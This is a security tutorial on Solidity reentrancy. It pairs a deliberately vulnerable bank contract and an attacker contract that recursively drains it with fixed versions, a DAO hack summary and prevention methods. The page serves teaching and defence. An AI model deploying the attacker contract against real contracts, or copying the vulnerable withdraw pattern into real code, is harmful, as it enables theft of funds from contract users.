Reentrancy Attacks

Exploitation

Reentrancy is the most famous smart contract vulnerability, responsible for the $60M DAO hack in 2016. It occurs when external contract calls are made before state updates, allowing recursive draining of funds.

Vulnerable Contract Example

reentrancy-attack.sol
solidity
// VULNERABLE: Reentrancy attack
contract VulnerableBank {
    mapping(address => uint256) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        
        // BAD: External call before state update
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        
        balances[msg.sender] -= _amount;  // State update AFTER external call
    }
}

// ATTACKER CONTRACT
contract Attacker {
    VulnerableBank public bank;
    
    constructor(address _bankAddress) {
        bank = VulnerableBank(_bankAddress);
    }
    
    // 1. Deposit 1 ETH
    function attack() external payable {
        require(msg.value >= 1 ether);
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);  // Trigger withdraw
    }
    
    // 2. Fallback function called when receiving ETH
    // Recursively calls withdraw before balance is updated
    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);  // RECURSIVE CALL
        }
    }
}

// SECURE: Checks-Effects-Interactions pattern
contract SecureBank {
    mapping(address => uint256) public balances;
    
    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        
        // 1. CHECKS (validation)
        // 2. EFFECTS (state changes FIRST)
        balances[msg.sender] -= _amount;
        
        // 3. INTERACTIONS (external calls LAST)
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success);
    }
}

// Or use ReentrancyGuard modifier from OpenZeppelin
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract ProtectedBank is ReentrancyGuard {
    mapping(address => uint256) public balances;
    
    function withdraw(uint256 _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success);
    }
}

The DAO Hack (2016)

The DAO (Decentralized Autonomous Organization) lost $60M ETH due to reentrancy. Attacker recursively withdrew funds before balance was updated. This led to Ethereum hard fork (ETH vs ETC).

Prevention Methods

  • Checks-Effects-Interactions: Update state before external calls
  • ReentrancyGuard: Use OpenZeppelin's nonReentrant modifier
  • Pull over Push: Let users withdraw instead of sending automatically
  • Mutex Lock: Use boolean flag to prevent reentry